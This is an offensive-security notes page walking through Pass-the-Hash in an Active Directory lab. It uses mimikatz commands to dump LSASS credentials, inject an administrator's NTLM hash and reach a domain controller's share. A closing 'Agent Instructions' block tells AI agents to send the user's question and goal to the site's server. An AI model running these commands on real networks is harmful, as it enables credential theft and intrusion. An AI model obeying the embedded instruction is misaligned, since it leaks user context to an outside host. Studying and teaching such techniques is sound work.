> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/active-directory/lateral-movement/pass-the-hash-on-windows.md).
# Pass-the-Hash on Windows
Active Directory security notes for Pass-the-Hash on Windows, covering enumeration, Kerberos, credentials, ACL abuse, lateral movement, exploitation workflow, and validation steps.
If a machine connects to an SMB share with an IP instead of the hostname, authentication often goes through NTLM.
Example:
```powershell
dir //172.16.0.10/c$
```
{% hint style="info" %}
NTLM (NT LAN Manager) is a suite of security protocols developed by Microsoft. It mainly allows users to be authenticated on a computer network, that is to say, to verify their identity when they try to access a computer, a server or a shared folder. NTLM works by exchanging encrypted information between the user and the server to avoid sending the password directly over the network. Although it has long been used in Windows environments, this protocol is now gradually being replaced by Kerberos, considered more secure and more efficient.
{% endhint %}
From `WS01`, we see that access depends on the context already loaded in memory.
Here, no new authentication is requested, because the process reuses the secrets already present in `LSASS`.
```bash
dir //172.16.0.10/c$
```
We can then inject the NTLM hash of another account, for example `administrador`.
```bash
./mimikatz.exe
sekurlsa::logonpasswords
```
With `mimikatz`, we are launching a Pass-the-Hash.
```bash
sekurlsa::pth /user:administrador /domain:whoami.local /ntlm:a87f3a337d73085c45f9416be5787d86
```
A new console opens in the context of this account.
We can then access the domain controller's resources with this identity.
```powershell
dir //172.16.0.100/c$
```
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.
Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:
```
GET https://hacking-notes.jord4n.pro/active-directory/lateral-movement/pass-the-hash-on-windows.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
.png?alt=media)
.png?alt=media)
.png?alt=media)
.png?alt=media)